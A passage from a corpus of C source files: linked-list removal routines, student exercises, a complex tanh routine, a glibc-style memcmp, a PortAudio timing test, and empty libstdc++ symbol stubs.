if (ll->next != NULL) {
printf(", ");
}
}
printf("]\n");
}
Node *fromArray(int xs[], int count) {
Node *l = NULL;
for (int i = count - 1; i >= 0; i--) {
l = insertVal(xs[i], l);
}
return l;
}
Node *removeElements(Node *head, int val) {
for (Node **pcurrent = &head; *pcurrent != NULL; ) {
if ((*pcurrent)->val == val) {
Node *next = (*pcurrent)->next;
free(*pcurrent);
*pcurrent = next;
} else {
pcurrent = &(*pcurrent)->next;
}
}
return head;
}
Node *removeElementsRec(Node *head, int val) {
if (head == NULL) {
return NULL;
} else {
if (head->val == val) {
Node *next = head->next;
free(head);
return removeElementsRec(next, val);
} else {
head->next = removeElementsRec(head->next, val);
return head;
}
}
}
Node *removeElements2(Node *head, int val) {
Node dummy = {
.val = 0,
.next = head
};
Node *prev = &dummy;
Node *curr = head;
while (curr != NULL) {
if (curr->val == val) {
prev->next = curr->next;
free(curr);
curr = prev->next;
} else {
prev = prev->next;
curr = curr->next;
}
}
return dummy.next;
}
int main (int argc, char *argv[]) {
int xs[] = {1, 2, 6, 3, 4, 5, 6};
Node *l = removeElements(fromArray(xs, 7), 6);
printList(l);
freeList(l);
printf("sizeof int: %lu\n", sizeof (int));
printf("sizeof Node*: %lu\n", sizeof (Node *));
printf("sizeof Node: %lu\n", sizeof (Node));
return 0;
}
|
the_stack_data/864976.c | #include <stdio.h>
int main(void) {
int n;
scanf("%d", &n);
int grades[n];
for(int i = 0; i < n; i++)
scanf("%d", &grades[i]);
int result[n];
for(int i = 0; i < n; i++) {
if((grades[i] + 1) % 5 == 0 && grades[i] >= 38)
result[i] = grades[i] + 1;
else if((grades[i] + 2) % 5 == 0 && grades[i] >= 38)
result[i] = grades[i] + 2;
else result[i] = grades[i];
}
for(int i = 0; i < n; i++)
printf("%d\n", result[i]);
} |
the_stack_data/251247.c | #include<stdio.h>
int main(){
// Prime Numbers = A prime number (or a prime) is a natural number greater than 1 that is not a product of two smaller natural numbers.
// Disclaimer: This is not the best method to solve this problem
int n = 2, prime=1;
for(int i=2;i<n;i++){
if (n%i==0 ){
prime = 0;
break;
}
}
if (prime==0){
printf("This is not a prime number");
}
else{
printf("This is a prime number");
}
return 0;
} |
the_stack_data/193894002.c | /* ctanhl.c */
/*
Contributed by Danny Smith
2005-01-04
*/
#include <math.h>
#include <complex.h>
#ifndef UNDER_CE
#include <errno.h>
#endif
/*
ctanh (x + I * y) = (sinh (2 * x) + sin (2 * y) * I )
/ (cosh (2 * x) + cos (2 * y)) .
*/
long double complex
ctanhl (long double complex Z)
{
long double complex Res;
long double two_R = 2.0L * __real__ Z;
long double two_I = 2.0L * __imag__ Z;
long double denom = coshl (two_R) + cosl (two_I);
if (denom == 0.0L)
{
#ifndef UNDER_CE
errno = ERANGE;
#endif
__real__ Res = HUGE_VALL;
__imag__ Res = HUGE_VALL;
}
else if (isinf (denom))
{
#ifndef UNDER_CE
errno = ERANGE;
#endif
__real__ Res = two_R > 0 ? 1.0L : -1.0L;
__imag__ Res = 0.0L;
}
else
{
__real__ Res = sinhl (two_R) / denom;
__imag__ Res = sinl (two_I) / denom;
}
return Res;
}
|
the_stack_data/155037.c | /* ---------------------------------------------------------------------
EXERCISE 2.40
------------------------------------------------------------------------
Solve the recurrence
C_N = C_(N/2) + N^2, for N >= 2 with C_1 = 0
when N is a power of 2.
--------------------------------------------------------------------- */
/* ---------------------------------------------------------------------
N = 2^n
C_N = C_(2^n)
= C_(2^n/2) + (2^n)^2
= C_(2^(n-1)) + 2^(2n)
= C_(2^(n-1)/2) + (2^(n-1))^2 + 2^(2n)
= C_(2^(n-2)) + 2^(2(n-1)) + 2^(2n)
= ...
= C_(2^(n-n)) + 2^(2*1) + 2^(2*2) + ... + 2^(2(n-1)) + 2^(2n)
= C_1 + 2^(2*1) + 2^(2*2) + ... + 2^(2(n-1)) + 2^(2n)
= 2^(2*1) + 2^(2*2) + ... + 2^(2(n-1)) + 2^(2n)
k=n
---
= \ 2^(2k)
/
---
k=1
------------------------------------------------------------------------
We would have to apply induction to formally prove it.
--------------------------------------------------------------------- */
#include <stdio.h>
#include <math.h>
unsigned int C_N(unsigned int N)
{
if(N == 1)
return 0;
return C_N(N/2) + N*N;
}
unsigned int C_2pown_formula(unsigned int n)
{
unsigned int result = 0;
for (unsigned int i=1; i < n+1; i++)
result += (unsigned int)(exp2(2*i));
return result;
}
int main(void)
{
printf("N\tC_N (rec.)\tC_N (form.)\tEqual?\n");
printf("----------------------------------------------\n");
unsigned int N, n;
for (N = 1, n = 0; N < 65; n++, N = (unsigned int)(exp2(n)))
{
unsigned int CN_recurrence = C_N(N);
unsigned int CN_formula = C_2pown_formula(n);
int equal = (CN_recurrence == CN_formula);
printf("%u\t%u\t\t%u\t\t%s\n", N, CN_recurrence, CN_formula, equal ? "TRUE" : "FALSE");
}
}
/* ---------------------------------------------------------------------
OUTPUT
------------------------------------------------------------------------
N C_N (rec.) C_N (form.) Equal?
----------------------------------------------
1 0 0 TRUE
2 4 4 TRUE
4 20 20 TRUE
8 84 84 TRUE
16 340 340 TRUE
32 1364 1364 TRUE
64 5460 5460 TRUE
--------------------------------------------------------------------- */
|
the_stack_data/5481.c | /* PR target/57736 */
/* { dg-do compile } */
/* { dg-options "-O2" } */
#include <x86intrin.h>
unsigned long long
f1 (void)
{
return __rdtsc ();
}
unsigned long long
f2 (unsigned int *x)
{
return __rdtscp (x);
}
unsigned long long
f3 (unsigned int x)
{
return __rdpmc (x);
}
void
f4 (void)
{
__rdtsc ();
}
void
f5 (unsigned int *x)
{
__rdtscp (x);
}
void
f6 (unsigned int x)
{
__rdpmc (x);
}
|
the_stack_data/775387.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
//Declaring varables
float num1,total=0;
//Getting input from user
printf("Enter the distance: ");
scanf("%f",&num1);
//calculate and print the value
if(num1<=30)
{
total=num1*50;
printf("Your amount is: %.2f",total);
}
else if(num1>30)
{
total=(num1-30)*40 +1500;
printf("Your amount is: %.2f",total);
}
else{
printf("Your value is invalid");
}
return 0;
}
|
the_stack_data/841363.c | int main(int argc, char *argv[]) {
(void) argc; (void) argv;
return 0;
}
|
the_stack_data/68887282.c | /* Copyright (C) 1991, 1993, 1995, 1997, 1998 Free Software Foundation, Inc.
Contributed by Torbjorn Granlund ([email protected]).
NOTE: The canonical source of this file is maintained with the GNU C Library.
Bugs can be reported to [email protected].
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
USA. */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#undef __ptr_t
#if defined __cplusplus || (defined __STDC__ && __STDC__)
# define __ptr_t void *
#else /* Not C++ or ANSI C. */
# undef const
# define const
# define __ptr_t char *
#endif /* C++ or ANSI C. */
#ifndef __P
# if defined __GNUC__ || (defined __STDC__ && __STDC__)
# define __P(args) args
# else
# define __P(args) ()
# endif /* GCC. */
#endif /* Not __P. */
#if defined HAVE_STRING_H || defined _LIBC
# include <string.h>
#endif
#undef memcmp
#ifdef _LIBC
# include <memcopy.h>
# include <endian.h>
# if __BYTE_ORDER == __BIG_ENDIAN
# define WORDS_BIGENDIAN
# endif
#else /* Not in the GNU C library. */
# include <sys/types.h>
/* Type to use for aligned memory operations.
This should normally be the biggest type supported by a single load
and store. Must be an unsigned type. */
# define op_t unsigned long int
# define OPSIZ (sizeof(op_t))
/* Threshold value for when to enter the unrolled loops. */
# define OP_T_THRES 16
/* Type to use for unaligned operations. */
typedef unsigned char byte;
# ifndef WORDS_BIGENDIAN
# define MERGE(w0, sh_1, w1, sh_2) (((w0) >> (sh_1)) | ((w1) << (sh_2)))
# else
# define MERGE(w0, sh_1, w1, sh_2) (((w0) << (sh_1)) | ((w1) >> (sh_2)))
# endif
#endif /* In the GNU C library. */
#ifdef WORDS_BIGENDIAN
# define CMP_LT_OR_GT(a, b) ((a) > (b) ? 1 : -1)
#else
# define CMP_LT_OR_GT(a, b) memcmp_bytes ((a), (b))
#endif
/* BE VERY CAREFUL IF YOU CHANGE THIS CODE! */
/* The strategy of this memcmp is:
1. Compare bytes until one of the block pointers is aligned.
2. Compare using memcmp_common_alignment or
memcmp_not_common_alignment, regarding the alignment of the other
block after the initial byte operations. The maximum number of
full words (of type op_t) are compared in this way.
3. Compare the few remaining bytes. */
#ifndef WORDS_BIGENDIAN
/* memcmp_bytes -- Compare A and B bytewise in the byte order of the machine.
A and B are known to be different.
This is needed only on little-endian machines. */
static int memcmp_bytes __P((op_t, op_t));
# ifdef __GNUC__
__inline
# endif
static int
memcmp_bytes (long unsigned int a, long unsigned int b)
{
long int srcp1 = (long int) &a;
long int srcp2 = (long int) &b;
op_t a0, b0;
do
{
a0 = ((byte *) srcp1)[0];
b0 = ((byte *) srcp2)[0];
srcp1 += 1;
srcp2 += 1;
}
while (a0 == b0);
return a0 - b0;
}
#endif
static int memcmp_common_alignment __P((long, long, size_t));
/* memcmp_common_alignment -- Compare blocks at SRCP1 and SRCP2 with LEN `op_t'
objects (not LEN bytes!). Both SRCP1 and SRCP2 should be aligned for
memory operations on `op_t's. */
#ifdef __GNUC__
__inline
#endif
static int
memcmp_common_alignment (long int srcp1, long int srcp2, size_t len)
{
op_t a0, a1;
op_t b0, b1;
switch (len % 4)
{
default: /* Avoid warning about uninitialized local variables. */
case 2:
a0 = ((op_t *) srcp1)[0];
b0 = ((op_t *) srcp2)[0];
srcp1 -= 2 * OPSIZ;
srcp2 -= 2 * OPSIZ;
len += 2;
goto do1;
case 3:
a1 = ((op_t *) srcp1)[0];
b1 = ((op_t *) srcp2)[0];
srcp1 -= OPSIZ;
srcp2 -= OPSIZ;
len += 1;
goto do2;
case 0:
if (OP_T_THRES <= 3 * OPSIZ && len == 0)
return 0;
a0 = ((op_t *) srcp1)[0];
b0 = ((op_t *) srcp2)[0];
goto do3;
case 1:
a1 = ((op_t *) srcp1)[0];
b1 = ((op_t *) srcp2)[0];
srcp1 += OPSIZ;
srcp2 += OPSIZ;
len -= 1;
if (OP_T_THRES <= 3 * OPSIZ && len == 0)
goto do0;
/* Fall through. */
}
do
{
a0 = ((op_t *) srcp1)[0];
b0 = ((op_t *) srcp2)[0];
if (a1 != b1)
return CMP_LT_OR_GT (a1, b1);
do3:
a1 = ((op_t *) srcp1)[1];
b1 = ((op_t *) srcp2)[1];
if (a0 != b0)
return CMP_LT_OR_GT (a0, b0);
do2:
a0 = ((op_t *) srcp1)[2];
b0 = ((op_t *) srcp2)[2];
if (a1 != b1)
return CMP_LT_OR_GT (a1, b1);
do1:
a1 = ((op_t *) srcp1)[3];
b1 = ((op_t *) srcp2)[3];
if (a0 != b0)
return CMP_LT_OR_GT (a0, b0);
srcp1 += 4 * OPSIZ;
srcp2 += 4 * OPSIZ;
len -= 4;
}
while (len != 0);
/* This is the right position for do0. Please don't move
it into the loop. */
do0:
if (a1 != b1)
return CMP_LT_OR_GT (a1, b1);
return 0;
}
static int memcmp_not_common_alignment __P((long, long, size_t));
/* memcmp_not_common_alignment -- Compare blocks at SRCP1 and SRCP2 with LEN
`op_t' objects (not LEN bytes!). SRCP2 should be aligned for memory
operations on `op_t', but SRCP1 *should be unaligned*. */
#ifdef __GNUC__
__inline
#endif
static int
memcmp_not_common_alignment (long int srcp1, long int srcp2, size_t len)
{
op_t a0, a1, a2, a3;
op_t b0, b1, b2, b3;
op_t x;
int shl, shr;
/* Calculate how to shift a word read at the memory operation
aligned srcp1 to make it aligned for comparison. */
shl = 8 * (srcp1 % OPSIZ);
shr = 8 * OPSIZ - shl;
/* Make SRCP1 aligned by rounding it down to the beginning of the `op_t'
it points in the middle of. */
srcp1 &= -OPSIZ;
switch (len % 4)
{
default: /* Avoid warning about uninitialized local variables. */
case 2:
a1 = ((op_t *) srcp1)[0];
a2 = ((op_t *) srcp1)[1];
b2 = ((op_t *) srcp2)[0];
srcp1 -= 1 * OPSIZ;
srcp2 -= 2 * OPSIZ;
len += 2;
goto do1;
case 3:
a0 = ((op_t *) srcp1)[0];
a1 = ((op_t *) srcp1)[1];
b1 = ((op_t *) srcp2)[0];
srcp2 -= 1 * OPSIZ;
len += 1;
goto do2;
case 0:
if (OP_T_THRES <= 3 * OPSIZ && len == 0)
return 0;
a3 = ((op_t *) srcp1)[0];
a0 = ((op_t *) srcp1)[1];
b0 = ((op_t *) srcp2)[0];
srcp1 += 1 * OPSIZ;
goto do3;
case 1:
a2 = ((op_t *) srcp1)[0];
a3 = ((op_t *) srcp1)[1];
b3 = ((op_t *) srcp2)[0];
srcp1 += 2 * OPSIZ;
srcp2 += 1 * OPSIZ;
len -= 1;
if (OP_T_THRES <= 3 * OPSIZ && len == 0)
goto do0;
/* Fall through. */
}
do
{
a0 = ((op_t *) srcp1)[0];
b0 = ((op_t *) srcp2)[0];
x = MERGE(a2, shl, a3, shr);
if (x != b3)
return CMP_LT_OR_GT (x, b3);
do3:
a1 = ((op_t *) srcp1)[1];
b1 = ((op_t *) srcp2)[1];
x = MERGE(a3, shl, a0, shr);
if (x != b0)
return CMP_LT_OR_GT (x, b0);
do2:
a2 = ((op_t *) srcp1)[2];
b2 = ((op_t *) srcp2)[2];
x = MERGE(a0, shl, a1, shr);
if (x != b1)
return CMP_LT_OR_GT (x, b1);
do1:
a3 = ((op_t *) srcp1)[3];
b3 = ((op_t *) srcp2)[3];
x = MERGE(a1, shl, a2, shr);
if (x != b2)
return CMP_LT_OR_GT (x, b2);
srcp1 += 4 * OPSIZ;
srcp2 += 4 * OPSIZ;
len -= 4;
}
while (len != 0);
/* This is the right position for do0. Please don't move
it into the loop. */
do0:
x = MERGE(a2, shl, a3, shr);
if (x != b3)
return CMP_LT_OR_GT (x, b3);
return 0;
}
int
rpl_memcmp (const void *s1, const void *s2, size_t len)
{
op_t a0;
op_t b0;
long int srcp1 = (long int) s1;
long int srcp2 = (long int) s2;
op_t res;
if (len >= OP_T_THRES)
{
/* There are at least some bytes to compare. No need to test
for LEN == 0 in this alignment loop. */
while (srcp2 % OPSIZ != 0)
{
a0 = ((byte *) srcp1)[0];
b0 = ((byte *) srcp2)[0];
srcp1 += 1;
srcp2 += 1;
res = a0 - b0;
if (res != 0)
return res;
len -= 1;
}
/* SRCP2 is now aligned for memory operations on `op_t'.
SRCP1 alignment determines if we can do a simple,
aligned compare or need to shuffle bits. */
if (srcp1 % OPSIZ == 0)
res = memcmp_common_alignment (srcp1, srcp2, len / OPSIZ);
else
res = memcmp_not_common_alignment (srcp1, srcp2, len / OPSIZ);
if (res != 0)
return res;
/* Number of bytes remaining in the interval [0..OPSIZ-1]. */
srcp1 += len & -OPSIZ;
srcp2 += len & -OPSIZ;
len %= OPSIZ;
}
/* There are just a few bytes to compare. Use byte memory operations. */
while (len != 0)
{
a0 = ((byte *) srcp1)[0];
b0 = ((byte *) srcp2)[0];
srcp1 += 1;
srcp2 += 1;
res = a0 - b0;
if (res != 0)
return res;
len -= 1;
}
return 0;
}
#ifdef weak_alias
# undef bcmp
weak_alias (memcmp, bcmp)
#endif
|
the_stack_data/4709.c |
int main()
{
int i=0, j=2;
if(i == 0)
{
i++;
j++;
}
__CPROVER_assert(j != 3, "j!=3");
}
|
the_stack_data/12882.c | /** @file patest_timing.c
@ingroup test_src
@brief Play a sine wave for several seconds, and spits out a ton of timing info while it's at it. Based on patest_sine.c
@author Bjorn Roche
@author Ross Bencina <[email protected]>
@author Phil Burk <[email protected]>
*/
/*
* $Id: patest_timing.c 578 2003-09-02 04:17:38Z rossbencina $
*
* This program uses the PortAudio Portable Audio Library.
* For more information see: http://www.portaudio.com/
* Copyright (c) 1999-2000 Ross Bencina and Phil Burk
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files
* (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge,
* publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* The text above constitutes the entire PortAudio license; however,
* the PortAudio community also makes the following non-binding requests:
*
* Any person wishing to distribute modifications to the Software is
* requested to send the modifications to the original developer so that
* they can be incorporated into the canonical version. It is also
* requested that these non-binding requests be included along with the
* license above.
*/
#include <stdio.h>
#include <math.h>
#include "portaudio.h"
#define NUM_SECONDS (5)
#define SAMPLE_RATE (44100)
#define FRAMES_PER_BUFFER (64)
#ifndef M_PI
#define M_PI (3.14159265)
#endif
#define TABLE_SIZE (200)
typedef struct
{
PaStream *stream;
PaTime start;
float sine[TABLE_SIZE];
int left_phase;
int right_phase;
}
paTestData;
/* This routine will be called by the PortAudio engine when audio is needed.
** It may called at interrupt level on some machines so don't do anything
** that could mess up the system like calling malloc() or free().
*/
static int patestCallback( const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo* timeInfo,
PaStreamCallbackFlags statusFlags,
void *userData )
{
paTestData *data = (paTestData*)userData;
float *out = (float*)outputBuffer;
unsigned long i;
(void) timeInfo; /* Prevent unused variable warnings. */
(void) statusFlags;
(void) inputBuffer;
printf( "Timing info given to callback: Adc: %g, Current: %g, Dac: %g\n",
timeInfo->inputBufferAdcTime,
timeInfo->currentTime,
timeInfo->outputBufferDacTime );
printf( "getStreamTime() returns: %g\n", Pa_GetStreamTime(data->stream)-data->start );
for( i=0; i<framesPerBuffer; i++ )
{
*out++ = data->sine[data->left_phase]; /* left */
*out++ = data->sine[data->right_phase]; /* right */
data->left_phase += 1;
if( data->left_phase >= TABLE_SIZE ) data->left_phase -= TABLE_SIZE;
data->right_phase += 3; /* higher pitch so we can distinguish left and right. */
if( data->right_phase >= TABLE_SIZE ) data->right_phase -= TABLE_SIZE;
}
return paContinue;
}
/*******************************************************************/
int main(void);
int main(void)
{
PaStreamParameters outputParameters;
PaStream *stream;
PaError err;
paTestData data;
int i;
printf("PortAudio Test: output sine wave. SR = %d, BufSize = %d\n", SAMPLE_RATE, FRAMES_PER_BUFFER);
/* initialise sinusoidal wavetable */
for( i=0; i<TABLE_SIZE; i++ )
{
data.sine[i] = (float) sin( ((double)i/(double)TABLE_SIZE) * M_PI * 2. );
}
data.left_phase = data.right_phase = 0;
err = Pa_Initialize();
if( err != paNoError ) goto error;
outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */
outputParameters.channelCount = 2; /* stereo output */
outputParameters.sampleFormat = paFloat32; /* 32 bit floating point output */
outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
err = Pa_OpenStream(
&stream,
NULL, /* no input */
&outputParameters,
SAMPLE_RATE,
FRAMES_PER_BUFFER,
paClipOff, /* we won't output out of range samples so don't bother clipping them */
patestCallback,
&data );
data.stream = stream;
data.start = Pa_GetStreamTime(stream);
if( err != paNoError ) goto error;
err = Pa_StartStream( stream );
data.start = Pa_GetStreamTime(stream);
if( err != paNoError ) goto error;
printf("Play for %d seconds.\n", NUM_SECONDS );
Pa_Sleep( NUM_SECONDS * 1000 );
err = Pa_StopStream( stream );
if( err != paNoError ) goto error;
err = Pa_CloseStream( stream );
if( err != paNoError ) goto error;
Pa_Terminate();
printf("Test finished.\n");
printf("The tone should have been heard for about 5 seconds and all the timing info above should report that about 5 seconds elapsed (except Adc, which is undefined since there was no input device opened).\n");
return err;
error:
Pa_Terminate();
fprintf( stderr, "An error occured while using the portaudio stream\n" );
fprintf( stderr, "Error number: %d\n", err );
fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) );
return err;
}
|
the_stack_data/43889127.c | //===----------------------------------------------------------------------===//
//
// This source file is part of the Swift Distributed Tracing open source project
//
// Copyright (c) 2020 Apple Inc. and the Swift Distributed Tracing project authors
// Licensed under Apache License v2.0
//
// See LICENSE.txt for license information
//
// SPDX-License-Identifier: Apache-2.0
//
//===----------------------------------------------------------------------===//
//===----------------------------------------------------------------------===//
//
// This source file is part of the SwiftNIO open source project
//
// Copyright (c) 2017-2018 Apple Inc. and the SwiftNIO project authors
// Licensed under Apache License v2.0
//
// See LICENSE.txt for license information
// See CONTRIBUTORS.txt for the list of SwiftNIO project authors
//
// SPDX-License-Identifier: Apache-2.0
//
//===----------------------------------------------------------------------===//
void swift_main(void);
int main() {
swift_main();
}
|
the_stack_data/117327796.c | void _ZN10__cxxabiv116__enum_type_infoD0Ev() {} ;
void _ZN10__cxxabiv116__enum_type_infoD1Ev() {} ;
void _ZN10__cxxabiv116__enum_type_infoD2Ev() {} ;
void _ZN10__cxxabiv117__array_type_infoD0Ev() {} ;
void _ZN10__cxxabiv117__array_type_infoD1Ev() {} ;
void _ZN10__cxxabiv117__array_type_infoD2Ev() {} ;
void _ZN10__cxxabiv117__class_type_infoD0Ev() {} ;
void _ZN10__cxxabiv117__class_type_infoD1Ev() {} ;
void _ZN10__cxxabiv117__class_type_infoD2Ev() {} ;
void _ZN10__cxxabiv117__pbase_type_infoD0Ev() {} ;
void _ZN10__cxxabiv117__pbase_type_infoD1Ev() {} ;
void _ZN10__cxxabiv117__pbase_type_infoD2Ev() {} ;
void _ZN10__cxxabiv119__pointer_type_infoD0Ev() {} ;
void _ZN10__cxxabiv119__pointer_type_infoD1Ev() {} ;
void _ZN10__cxxabiv119__pointer_type_infoD2Ev() {} ;
void _ZN10__cxxabiv120__function_type_infoD0Ev() {} ;
void _ZN10__cxxabiv120__function_type_infoD1Ev() {} ;
void _ZN10__cxxabiv120__function_type_infoD2Ev() {} ;
void _ZN10__cxxabiv120__si_class_type_infoD0Ev() {} ;
void _ZN10__cxxabiv120__si_class_type_infoD1Ev() {} ;
void _ZN10__cxxabiv120__si_class_type_infoD2Ev() {} ;
void _ZN10__cxxabiv121__vmi_class_type_infoD0Ev() {} ;
void _ZN10__cxxabiv121__vmi_class_type_infoD1Ev() {} ;
void _ZN10__cxxabiv121__vmi_class_type_infoD2Ev() {} ;
void _ZN10__cxxabiv123__fundamental_type_infoD0Ev() {} ;
void _ZN10__cxxabiv123__fundamental_type_infoD1Ev() {} ;
void _ZN10__cxxabiv123__fundamental_type_infoD2Ev() {} ;
void _ZN10__cxxabiv129__pointer_to_member_type_infoD0Ev() {} ;
void _ZN10__cxxabiv129__pointer_to_member_type_infoD1Ev() {} ;
void _ZN10__cxxabiv129__pointer_to_member_type_infoD2Ev() {} ;
void _ZN9__gnu_cxx12__atomic_addEPVii() {} ;
void _ZN9__gnu_cxx17__pool_alloc_base12_M_get_mutexEv() {} ;
void _ZN9__gnu_cxx17__pool_alloc_base16_M_get_free_listEm() {} ;
void _ZN9__gnu_cxx17__pool_alloc_base9_M_refillEm() {} ;
void _ZN9__gnu_cxx18__exchange_and_addEPVii() {} ;
void _ZN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEE4fileEv() {} ;
void _ZN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEE4fileEv() {} ;
void _ZN9__gnu_cxx27__verbose_terminate_handlerEv() {} ;
void _ZN9__gnu_cxx6__poolILb0EE10_M_destroyEv() {} ;
void _ZN9__gnu_cxx6__poolILb0EE13_M_initializeEv() {} ;
void _ZN9__gnu_cxx6__poolILb0EE16_M_reclaim_blockEPcm() {} ;
void _ZN9__gnu_cxx6__poolILb0EE16_M_reserve_blockEmm() {} ;
void _ZN9__gnu_cxx6__poolILb1EE10_M_destroyEv() {} ;
void _ZN9__gnu_cxx6__poolILb1EE13_M_initializeEPFvPvE() {} ;
void _ZN9__gnu_cxx6__poolILb1EE13_M_initializeEv() {} ;
void _ZN9__gnu_cxx6__poolILb1EE16_M_get_thread_idEv() {} ;
void _ZN9__gnu_cxx6__poolILb1EE16_M_reclaim_blockEPcm() {} ;
void _ZN9__gnu_cxx6__poolILb1EE16_M_reserve_blockEmm() {} ;
void _ZN9__gnu_cxx6__poolILb1EE21_M_destroy_thread_keyEPv() {} ;
void _ZN9__gnu_cxx9free_list6_M_getEm() {} ;
void _ZN9__gnu_cxx9free_list8_M_clearEv() {} ;
void _ZNK10__cxxabiv117__class_type_info10__do_catchEPKSt9type_infoPPvj() {} ;
void _ZNK10__cxxabiv117__class_type_info11__do_upcastEPKS0_PKvRNS0_15__upcast_resultE() {} ;
void _ZNK10__cxxabiv117__class_type_info11__do_upcastEPKS0_PPv() {} ;
void _ZNK10__cxxabiv117__class_type_info12__do_dyncastEiNS0_10__sub_kindEPKS0_PKvS3_S5_RNS0_16__dyncast_resultE() {} ;
void _ZNK10__cxxabiv117__class_type_info20__do_find_public_srcEiPKvPKS0_S2_() {} ;
void _ZNK10__cxxabiv117__pbase_type_info10__do_catchEPKSt9type_infoPPvj() {} ;
void _ZNK10__cxxabiv117__pbase_type_info15__pointer_catchEPKS0_PPvj() {} ;
void _ZNK10__cxxabiv119__pointer_type_info14__is_pointer_pEv() {} ;
void _ZNK10__cxxabiv119__pointer_type_info15__pointer_catchEPKNS_17__pbase_type_infoEPPvj() {} ;
void _ZNK10__cxxabiv120__function_type_info15__is_function_pEv() {} ;
void _ZNK10__cxxabiv120__si_class_type_info11__do_upcastEPKNS_17__class_type_infoEPKvRNS1_15__upcast_resultE() {} ;
void _ZNK10__cxxabiv120__si_class_type_info12__do_dyncastEiNS_17__class_type_info10__sub_kindEPKS1_PKvS4_S6_RNS1_16__dyncast_resultE() {} ;
void _ZNK10__cxxabiv120__si_class_type_info20__do_find_public_srcEiPKvPKNS_17__class_type_infoES2_() {} ;
void _ZNK10__cxxabiv121__vmi_class_type_info11__do_upcastEPKNS_17__class_type_infoEPKvRNS1_15__upcast_resultE() {} ;
void _ZNK10__cxxabiv121__vmi_class_type_info12__do_dyncastEiNS_17__class_type_info10__sub_kindEPKS1_PKvS4_S6_RNS1_16__dyncast_resultE() {} ;
void _ZNK10__cxxabiv121__vmi_class_type_info20__do_find_public_srcEiPKvPKNS_17__class_type_infoES2_() {} ;
void _ZNK10__cxxabiv129__pointer_to_member_type_info15__pointer_catchEPKNS_17__pbase_type_infoEPPvj() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE11_M_disjunctEPKw() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE12find_last_ofEPKwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE12find_last_ofEPKwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE12find_last_ofERKS2_m() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE12find_last_ofEwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE13find_first_ofEPKwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE13find_first_ofEPKwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE13find_first_ofERKS2_m() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE13find_first_ofEwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE13get_allocatorEv() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE15_M_check_lengthEmmPKc() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE16find_last_not_ofEPKwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE16find_last_not_ofEPKwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE16find_last_not_ofERKS2_m() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE16find_last_not_ofEwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE17find_first_not_ofEPKwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE17find_first_not_ofEPKwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE17find_first_not_ofERKS2_m() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE17find_first_not_ofEwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE2atEm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE3endEv() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4_Rep12_M_is_leakedEv() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4_Rep12_M_is_sharedEv() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4copyEPwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4dataEv() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4findEPKwm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4findEPKwmm() {} ;
void _ZNKSbIwSt11char_traitsIwESaIwEE4findERKS2_m() {} ;
